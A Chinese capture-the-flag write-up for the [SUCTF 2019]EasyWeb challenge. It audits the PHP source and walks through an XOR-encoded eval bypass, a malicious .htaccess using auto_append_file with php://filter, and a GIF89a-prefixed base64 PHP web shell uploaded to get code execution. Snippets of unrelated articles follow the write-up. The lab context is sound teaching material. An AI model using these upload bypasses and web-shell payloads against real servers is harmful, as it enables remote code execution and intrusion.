1.【BUUCTF】[SUCTF 2019]EasyWeb
进入题目页面如下
给出源码开始代码审计
<?php
// 定义一个名为 get_the_flag 的函数,该函数主要处理文件上传逻辑
function get_the_flag(){// 构造用户上传文件的目录,目录名是 "upload/tmp_" 加上客户端 IP 地址的 MD5 哈希值$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);// 检查该目录是否存在,如果不存在则创建该目录if(!file_exists($userdir)){mkdir($userdir);}// 检查是否有文件上传if(!empty($_FILES["file"])){// 获取上传文件的临时文件名$tmp_name = $_FILES["file"]["tmp_name"];// 获取上传文件的原始文件名$name = $_FILES["file"]["name"];// 提取文件扩展名$extension = substr($name, strrpos($name,".")+1);// 使用正则表达式检查文件扩展名是否包含 "ph"(不区分大小写),如果包含则终止程序并输出 "^_^"if(preg_match("/ph/i",$extension)) die("^_^"); // 读取上传文件的内容,检查是否包含 "<?", 如果包含则终止程序并输出 "^_^"if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");// 检查上传文件是否为有效的图像文件,如果不是则终止程序并输出 "^_^"if(!exif_imagetype($tmp_name)) die("^_^"); // 构造上传文件的最终保存路径$path= $userdir."/".$name;// 将上传的临时文件移动到最终保存路径,使用 @ 符号抑制可能的错误信息@move_uploaded_file($tmp_name, $path);// 输出文件保存的路径print_r($path);}
}// 从 GET 请求中获取名为 "_" 的参数值,并使用 @ 符号抑制可能的错误信息
$hhh = @$_GET['_'];// 如果没有获取到 "_" 参数的值,则高亮显示当前 PHP 文件的源代码
if (!$hhh){highlight_file(__FILE__);
}// 检查 "_" 参数值的长度是否超过 18 个字符,如果超过则终止程序并输出提示信息
if(strlen($hhh)>18){die('One inch long, one inch strong!');
}// 使用正则表达式检查 "_" 参数值是否包含特定字符(包括 ASCII 码 0 - 127 之间的部分字符),如果包含则终止程序并输出提示信息
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');// 获取 "_" 参数值中出现的所有不同字符,并统计字符种类
$character_type = count_chars($hhh, 3);
// 检查不同字符的数量是否超过 12 个,如果超过则终止程序并输出提示信息
if(strlen($character_type)>12) die("Almost there!");// 使用 eval 函数执行 "_" 参数的值作为 PHP 代码
eval($hhh);
?>
代码使用 eval($hhh);
执行用户通过 GET 请求传入的 _ 参数的值,
对参数的过滤有长度和字符种类的限制
文件上传过滤
扩展名过滤:通过正则表达式 preg_match("/ph/i",$extension) 检查文件扩展名是否包含 "ph",防止常见的 PHP 文件上传。
内容过滤:使用 mb_strpos(file_get_contents($tmp_name), '<?') 检查文件内容是否包含 "<?", 防止包含 PHP 代码的文件上传。
图像类型检查:使用 exif_imagetype($tmp_name) 检查文件是否为有效的图像文件,限制非图像文件上传。
代码开始定义了一个函数get_the_flag(),应该是用来处理文件上传的
注释说webadmin每20分钟会删除上传的文件,说明需要利用文件上传后立即执行
函数中创建了一个用户目录,基于用户IP的MD5值。
代码处理GET参数',赋值给Shhh。如果没有传入这个参数,就显示源代码。
如果传入的话,需要满足多个条件:
1.长度不能超过18个字符。
2.通过正则表达式过滤:匹配的字符范围包括\x00到空格(ASCCil 0-32), 0-9, AZa-z,以及一些特殊符号如"~~&,|=,还有\x7F。正则表达式用了li表示不区分大小
写。如果匹配到这些字符中的任何一个,就会拒绝。
3.字符类型(不同字符的数量)不能超过12种,否则拒绝。
通过eval($hhh)执行传入的代码。
代码注入的漏洞,需要构造一个payload满足有限制条件。
分析如何绕过这些过滤:
正则表达式排除了很多字符。注意正则中的模式是\x00-0-9A-Za-z"""~_&.,|=,[x7F]+,包括了大部分可见字符和一些控制字符
正则表达式中的模式可能有一些特殊字符没有被过滤,比如^或{},或者其他Unicode字符
查看正则表达式模式:它是否允许使用$符号?在正则中,「x00-表示从x00到空格(即ASCII 0到32),然后是0-9,A-Za-z,以及那些特殊符号,比如,在ASCII表中,S的ASCII码是36,而0-9的ASCII是4857,所以$不在这个范围内。
所以,正则中的模式是否允许S符号比如,表达式中的0\x00- 0-9A-Zaz...],这里的\x00-可能是指从\x00到空格(ASCII 32),因此,美元符号$ (ASCI36)不在这个范围。所以,可以在payload中使用$符号。
构造$_GET[]();的格式来调用get_the_flag函数
payload
?_=${%80%80%80%80^%df%c7%c5%d4}{%80}();&%80=phpinfo
?_=... $_GET['_'] = ... 主注入点,触发动态函数调用
%80%80%80%80^%df%c7%c5%d4 异或运算生成关键字符串 动态构造 _GET
{%80} $_GET['%80'] 提取参数值作为函数名
&%80=phpinfo $_GET['%80'] = 'phpinfo' 注入要执行的函数名
字符集绕过
使用 %80
等高位 ASCII 字符(非字母/数字),绕过常规正则过滤
preg_match('/[0-9a-z]/i', $input) // 此类过滤失效
长度混淆
操作将关键字符串隐藏在不可见字符中,增加静态分析的难度
漏洞类型
远程代码执行 (RCE)
存在动态函数调用如 $var()
利用 .htaccess
文件和文件幻术绕过代码中对文件上传的严格检查,进而执行任意代码获取 flag。具体步骤为:上传特制的 .htaccess
文件,利用 php_value auto_append_file
和 AddType
指令,配合 php://filter
伪协议绕过对 <?
的检测;同时,为上传的 PHP 代码文件添加 GIF 文件头幻术绕过 exif_imagetype
检测。
.htaccess
文件是 Apache 服务器的配置文件,可用于在目录级别覆盖全局服务器配置。我们可以利用它来改变 PHP 解析文件的方式。
# 指定所有以 .gif 结尾的文件都按 PHP 脚本解析
AddType application/x-httpd-php .gif
# 自动在每个 PHP 脚本执行前包含指定的文件,这里使用 php://filter 伪协议对 base64 编码的内容进行解码并包含
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.gif"
上述 .htaccess
文件
AddType application/x-httpd-php .gif
:将 .gif
后缀的文件视为 PHP 文件进行解析。
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.gif"
:使用 php://filter
伪协议对 shell.gif
文件内容进行 Base64 解码后包含到每个 PHP 脚本中执行。
2. 构造包含 PHP 代码的 shell.gif
文件
为了绕过 exif_imagetype
对文件内容的检测,我们在文件开头添加 GIF 文件头幻术(GIF89a),并将 PHP 代码进行 Base64 编码。
<?php
// 要执行的 PHP 代码,这里以执行系统命令 cat flag.txt 为例
$php_code = '<?php system("cat flag.txt"); ?>';
// 添加 GIF 文件头幻术
$shell_content = "GIF89a" . base64_encode($php_code);
// 将内容写入 shell.gif 文件
file_put_contents('shell.gif', $shell_content);
?>
上述代码生成了一个 shell.gif
文件,其内容以 GIF 文件头幻术开头,后面是经过 Base64 编码的 PHP 代码。
上传文件
将构造好的 .htaccess
文件和 shell.gif
文件上传到服务器。根据代码中的逻辑,上传目录为 upload/tmp_
加上客户端 IP 地址的 MD5 哈希值。可以使用以下简单的 HTML 表单进行文件上传
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>File Upload</title>
</head>
<body><form action="http://9d66bcb5-686a-4e45-b6b0-9c1d3174fe9e.node5.buuoj.cn:81/" method="post" enctype="multipart/form-data"><input type="file" name="file" /><input type="submit" value="Upload" /></form>
</body>
</html>
将 your_php_file.php
替换为实际处理文件上传的 PHP 文件路径。
4. 触发代码执行
上传成功后,访问上传目录下的任意 .gif
文件(实际上会被当作 PHP 文件执行),服务器会根据 .htaccess
文件的配置,对 shell.gif
文件内容进行 Base64 解码并执行其中的 PHP 代码,从而执行 cat flag.txt
命令,用蚁剑连接获取 flag。
相关文章:
1.【BUUCTF】[SUCTF 2019]EasyWeb
进入题目页面如下 给出源码开始代码审计 <?php // 定义一个名为 get_the_flag 的函数,该函数主要处理文件上传逻辑 function get_the_flag(){// 构造用户上传文件的目录,目录名是 "upload/tmp_" 加上客户端 IP 地址的 MD5 哈希值$userdir…...
GMSL 实例1:当 MAX96717 遇上 MAX96724,打通 Camera 视频数据传输
新年伊始,继 Deepseek 在 AI 圈掀起风波之后。比亚迪在2月10日发布会上重磅官宣:全系车型将搭载自研的高阶智驾系统“天神之眼”,覆盖从10万元级入门车型到高端豪华车型的所有范围。此举如一颗重磅炸弹投向当前一卷再卷的新能源汽车赛道&…...
2025有哪些关键词优化工具好用
越来越多的企业和个人开始意识到搜索引擎优化(SEO)对于网站曝光和业务增长的重要性。在SEO优化的过程中,关键词优化占据着至关重要的地位。关键词是用户在搜索引擎中输入的词语,优化关键词有助于提高网站在搜索结果中的排名&#…...
Python常见面试题的详解6
1. 按字典 value 值排序 要点:对于给定字典,使用 sorted() 函数结合 items() 方法,依据 value 进行排序,也可以定义一个通用函数,支持按 value 升序或降序排序。示例: python d {a: 1, b: 2, c: 3, d: …...
宝塔和docker的区别
宝塔面板 vs Docker:区别、场景与互补使用指南 eepseek回答宝塔和docker的区别 好的,我现在需要回答用户关于宝塔面板和Docker之间的区别的问题。首先,我需要明确这两个工具各自的定义、功能以及它们适用的场景,这样才能准确比较…...
vscode调试redis
系统:ubuntu redis:redis-6.0.3 1.在vs中安装c/c编译插件 2.用vscode打开redis-6.0.3 3.在菜单中找到run->Add Configuration… 4.会在目录中生成一个./vscode目录,里面包含launch.json,修改launch.json中的program:${workspaceFolder}…...
tcp/ip协议设置参数,tcp/ip协议6设置
TCP/IP协议设置参数主要涉及到IP地址、子网掩码、网关地址以及DNS服务器地址等关键参数。这些参数的配置确保了网络设备能够正确地接入互联网并与其他设备进行通信。以下是对这些参数设置的详细说明: 1. IP地址 定义:IP地址是互联网中用于唯一标识每一…...
计算机网络原理试题二
一、单选 1.(单选题,5分)以下关于计算机网络定义的描述中,错误的是 A.以能够相互共享资源的方式互联起来的自治计算机系统的集合 B.计算机资源主要指计算机的CPU、内存和操作系统 C.互联的计算机既可以联网工作,也可以脱网单机工作 D.联网计算机之间的通信必须遵循…...
#渗透测试#批量漏洞挖掘#致远互联AnalyticsCloud 分析云 任意文件读取
免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停…...
企业文件共享中的权限管理与安全风险防范
在企业的日常运营中,文件共享是必不可少的一项工作。然而,文件共享过程中如果权限管理不当,极易引发安全风险,导致企业敏感信息泄露。因此,加强文件共享中的权限管理与安全风险防范,对于保障企业信息安全至…...
2025智能硬件售后服务管理系统选择的六大标准
2025智能硬件售后服务管理系统选择的六大标准 随着2025年的到来,智能硬件行业正以前所未有的速度发展,产品迭代加速,用户需求日益多样化。在这一背景下,售后服务管理系统的选择成为了智能硬件厂商能否在激烈的市场竞争中脱颖而出…...
C++ references
C复杂在于提供了太多的内存模型 或者说: 提供了两种东西: 1、可以放对象的地方: 堆栈堆全局数据区里 2、提供了很多访问对象的方式 变量是对象指针访问对象引用来访问对象 3 * 3 9 种访问对象的方式 规则 引用一般初始化࿰…...
STM32 RCC功能说明 复位和时钟控制RCC
目录 背景 RCC配置时钟主要涉及两方面 程序 第1步、RCC默认初始化 第2步、等待HSE工作稳定 第3步、设置PLL时钟源以及倍频数 第4步、设置AHB总线时钟(HCLK) 第5步、设置PCLK1(APB1总线) 第6步、设置PCLK2(APB2总线) 第7步、FLASH存储器的配置 …...
2024年终总结和2025年规划
2024年的主线是AI基础的学习和读书,虽然AI学习花费了更多的时间,但是读书长久看来于我是更重要的事情,哈哈哈,因此先简单回顾一下读书记忆,回顾我的2024,再展望一下我的2025. 我的2024年记忆 读万卷书&am…...
Day2 25/2/15 SAT
【一周刷爆LeetCode,算法大神左神(左程云)耗时100天打造算法与数据结构基础到高级全家桶教程,直击BTAJ等一线大厂必问算法面试题真题详解(马士兵)】https://www.bilibili.com/video/BV13g41157hK?p4&v…...
新版电脑通过wepe安装系统
官方下载链接 WIN10下载 WIN11下载 微PE 启动盘制作 1:选择启动盘的设备 2:选择对应的U盘设备,点击安装就可以,建议大于8g 3:在上方链接下载需要安装的程序包,放入启动盘,按需 更新系统 …...
分享一个使用的音频裁剪chrome扩展-Ringtone Maker
一、插件简介 铃声制作器是一个简单易用的 Chrome 扩展,专门用于制作手机铃声。它支持裁剪音频文件的特定片段,并将其下载为 WAV 格式,方便我们在手机上使用。无论是想从一段长音频中截取精彩部分作为铃声,还是对现有的音频进行个…...
Managed Lustre 和 WEKA:高性能文件系统的对比与应用
Managed Lustre 和 WEKA:高性能文件系统的对比与应用 1. 什么是 Managed Lustre?主要特点:适用场景: 2. 什么是 WEKA?主要特点:适用场景: 3. Managed Lustre 和 WEKA 的对比4. 如何选择 Managed…...
自己制作网站教程方法
SaaS建站,作为一种创新的网站构建模式,通过将网站建设所需的复杂软硬件资源整合到云端,为用户带来了前所未有的便捷性、高效性和灵活性,彻底颠覆了传统网站建设的固有模式,为用户提供了一个更为理想且适应性强的建站解…...
基于角色访问控制的UML 表示02
一个用户可以成为很多角色的成员,一个角色可以有许多用户。类似地,一个角色可以有多个权限,同一个权限可以被指派给多个角色。每个会话把一个用户和可能的许多角色联系起来。一个用户在激发他或她所属角色的某些子集时,建立了一个…...
平面与平面相交算法杂谈
1.前言 空间平面方程: 空间两平面如果不平行,那么一定相交于一条空间直线, 空间平面求交有多种方法,本文进行相关讨论。 2.讨论 可以联立方程组求解,共有3个变量,2个方程,而所求直线有1个变量…...
28 在可以控制 postgres 服务器, 不知道任何用户名的情况下怎 进入 postgres 服务器
前言 最近有这样的一个需求, 有一个 postgres 服务器 但是 不知道 他的任何的用户名密码, 但是我想要查询这台 postgres 服务器 然后 基于这个需求, 我们看一下 怎么来处理 pg_hba.conf 认证方式修改为 trust 首先将 postgres 服务器的认证方式修改为 trust 这时候 …...
Java短信验证功能简单使用
注册登录阿里云官网:https://www.aliyun.com/ 搜索短信服务 自己一步步申请就可以了 开发文档: https://next.api.aliyun.com/api-tools/sdk/Dysmsapi?version2017-05-25&languagejava-tea&tabprimer-doc 1.引入依赖 <dependency>…...
哈希表(典型算法思想)—— OJ例题算法解析思路
目录 一、1. 两数之和 - 力扣(LeetCode) 算法代码: 1. 问题描述 2. 核心思路 3. 代码实现思路 (1)初始化哈希表 (2)遍历数组 (3)返回结果 4. 时间复杂度分析 …...
Linux软件编程——标准IO(2025.2.14)
目录 一、操作系统 1.重点内容 2.学习方法 二、文件操作 1. 必要性 2. Linux文件类型 3. Linux文件操作方法 4.文件操作思想 5.标准IO 6.函数接口 (1)fopen打开文件 (2)fputc字符写入文件 (3&#x…...
YOLOV8的学习记录(二) yolo8的几个内置模型简介
YOLOv8 是一个多功能的计算机视觉框架,支持多种任务,包括分类(Classify)、检测(Detect)、旋转目标检测(OBB)、姿态估计(Pose)、实例分割(Segment&…...
初阶c语言(练习题,猜随机数,关机程序)
目录 第一题,使用函数编写一个随机数,然后自己猜,猜随机数 第二道题(关机程序) 实现代码(关机程序) 实现代码(猜数字) 前言: 学习c语言,学习…...
中上211硕对嵌入式AI感兴趣,如何有效规划学习路径?
今天给大家分享的是一位粉丝的提问,中上211硕对嵌入式AI感兴趣,如何有效规划学习路径? 接下来把粉丝的具体提问和我的回复分享给大家,希望也能给一些类似情况的小伙伴一些启发和帮助。 同学提问: 中上211,…...
如何在wps中使用AI
1、访问官网:https://ai.wps.cn 2、 下载WPS AI客户端 3、本地安装, 安装时需要关闭wps 安装完成后打开wps,菜单中新增OfficeAI 点击【设置】按钮,弹出如下窗口 选择【大模型设置】中 模型平台选择(硅基流程…...
单例设计模式
简介 单例模式是设计模式中的创建型设计模式,用来保证一个类只能创建一个对象,通常包括饿汉式单例、懒汉式单例。 一、饿汉式单例 饿汉式单例是在类加载时就进行创建的,如: public class Apple {// 由于是单例,因…...
离线量化算法和工具 --学习记录1
离线量化算法和工具 一、离线量化的基础概念1.1、基本流程1.2、量化的优点和缺点1.3、如何生产一个硬件能跑的量化模型1.4、PTQ的概念以及和QAT的区别1.5、离线量化的标准流程1.6、校准数据的选择1.7、量化模式的选择1.8、校准方式的选择1.9、量化算法的选择1.10、写入量化参数…...
Redis 03章——10大数据类型概述
一、which10 (1)一图 (2)提前声明 这里说的数据类型是value的数据类型,key的类型都是字符串 官网:Understand Redis data types | Docs (3)分别是 1.3.1redis字符串࿰…...
芯麦GC6208:革新摄像机与医疗设备的智能音频解决方案
引言 在现代科技的推动下,音频设备和图像处理在各个领域的应用日益广泛。芯麦科技的GC6208是一款创新的音频处理芯片,具有高性能和多功能性,适用于摄像机、医疗设备等多种产品。本文将探讨GC6208在这些领域中的应用及其带来的优势。 1. 在摄…...
代码随想录算法营Day39 | 416. 分割等和子集
416. 分割等和子集 这题换句话说就是是否能找出一个子集,使这个子集的总和等于数组总和的一半,数组里每个元素只能选一次。我们确立一个dp数组,长度为数组总和的half1,内容为False。索引表示和,索引里的内容表示该数是…...
【前端】自己从头实现一个gpt聊天页面
预览 最小化功能点 主界面:侧边栏会话历史、聊天窗口发送和断开。侧边栏:展示会话列表,每个会话包含多条聊天记录, 通过localstorage本地储存和恢复,会话需要重命名和删除。聊天框:区分一下发送者和回答者…...
浅说树形dp
文章目录 前言树形dp的转移方式树形dp的使用的场景小结 初步感知——简单的树形dp例题1例题2 深入分析——树形dp的经典模型最大独立集最小点覆盖最小支配集树上直径 前言 因为树的形式非常适合递归,他所带来的访问顺序也是非常符合拓扑排序的,故而在处…...
Matlab 多项式曲线拟合(三维)
文章目录 一、简介二、实现代码三、实现效果参考资料一、简介 对于高维空间曲线的拟合,参数化是一种非常好的方式,可以让我们很容易得到我们想要的目标曲线。 假设给定一组数据点 ( u i , x i ) 、 ( u i ...
大语言模型推理中的显存优化 有哪些
大语言模型推理中的显存优化 有哪些 目录 大语言模型推理中的显存优化 有哪些显存优化背景Offloading/Checkpoint原理举例显存优化背景 在大语言模型推理时,显存是显著瓶颈。以开源的BLOOM 176B模型为例,在8张A100计算卡上,通常对话设置下仅能进行批量为10左右的推理。为缓…...
机器学习:k均值
所有代码和文档均在golitter/Decoding-ML-Top10: 使用 Python 优雅地实现机器学习十大经典算法。 (github.com),欢迎查看。 在“无监督学习”中,训练样本的标记信息是未知的,目标是通过对无标记训练样本的学习来揭示数据的内在性质及规律&…...
【图像加密解密】空间混沌序列的图像加密解密算法复现(含相关性检验)【Matlab完整源码 2期】
1、说明 本文给出详细完整代码、完整的实验报告和PPT。 环境:MATLAB2019a 复现文献:[1]孙福艳,吕宗旺.Digital image encryption with chaotic map lattices[J].Chinese Physics B,2011,20(04):136-142. 2、部分报告内容 3 部分源码与运行步骤 3.1 部…...
Unity学习part3
此为b站视频【【Unity教程】零基础带你从小白到超神】 https://www.bilibili.com/video/BV1gQ4y1e7SS/?p55&share_sourcecopy_web&vd_source6e7a3cbb802eb986578ad26fae1eeaab的笔记 1、反向动力学 打开ik处理 public class PlayerMoveController : MonoBehaviour {…...
【2025最新版】软件测试面试题总结(150道题含答案解析)
接口测试面试题 1:你平常做接口测试的过程中发现过哪些 bug? 2:平常你是怎么测试接口的? 3:平常用什么工具测接口? 4: webService 接口是如何测试的? 5:没有接口文档,如何做接口测试? 6&…...
双轴伺服电机驱动控制器AGV、AMR专用双伺服电机驱动控制器解决方案
工业机器人数控机床XY机械手双轴机器人堆垛机专用双轴伺服电机驱动控制器48V 14ARMS带有STO功能,隔离高压CAN/RS485/USB通讯支持编码器和霍尔输入 双伺服电机驱动控制器TMCM2611功能介绍 集成2个伺服电机的控制和驱动于一体供电电压48V,驱动电流14A RM…...
知识图谱数据库 Neo4j in Docker笔记
下载 docker pull neo4j:community官方说明 https://neo4j.com/docs/operations-manual/2025.01/docker/introduction/ 启动 docker run \--restart always \--publish7474:7474 --publish7687:7687 \--env NEO4J_AUTHneo4j/your_password \--volumeD:\files\knowledgegrap…...
Kubernetes实战教程:基于Vue前端与Java后端的应用部署
在云原生时代,Kubernetes 已成为管理容器化应用的核心平台。本文不仅详细介绍了 Kubernetes 的背景、架构和核心特性,还将通过一个具体的案例——基于 Vue 前端和 Java 后端的应用部署,带你一步步了解如何在 Kubernetes 集群中构建和运行一个…...
完全数和质数算法详解
完全数是指一个正整数,它等于其所有真约数(即除了自身以外的所有正因数)之和。例如,6 是一个完全数,因为它的真约数是 1、2 和 3,且 1 2 3 6。 1 计算约数和 1.1 遍历 遍历其所有可能的约数并计算它们…...
PHP本地商家卡券管理系统
本地商家卡券管理系统 —— 引领智慧消费新时代 本地商家卡券管理系统,是基于ThinkPHPUni-appuView尖端技术匠心打造的一款微信小程序,它彻底颠覆了传统优惠方式,开创了多商家联合发行优惠卡、折扣券的全新模式,发卡类型灵活多变…...
使用动态规划解决 0/1 背包问题
1. 背景 背包问题是计算机科学和优化领域中的经典问题之一,它被广泛应用于资源分配、任务调度等问题。在最简单的形式下,0/1背包问题描述的是: 你有一个背包,能够容纳一定的重量,而你有若干个物品,每个物品都有一个重量和价值,问你应该如何选择物品,使得在不超过背包…...
探索Java中的集合类_特性与使用场景
1. 引言 1.1 Java集合框架概述 Java集合框架(Java Collections Framework, JCF)是Java中用于存储和操作一组对象的类和接口的统称。它提供了多种数据结构来满足不同的需求,如列表、集合、映射等。JCF的核心接口包括Collection、List、Set、Queue和Map,以及它们的各种实现…...
动态DNS神器nip.io使用指南:快速实现域名与IP的动态映射--告别配置本地hosts
动态DNS神器nip.io使用指南:快速实现域名与IP的动态映射--告别配置本地hosts 一、项目简介二、快速入门三、进阶配置四、典型应用场景 本文基于开源项目 v1.2.1版本撰写,适用于开发测试、CI/CD等场景 一、项目简介 nip.io 是由Exentrique Solutions开发…...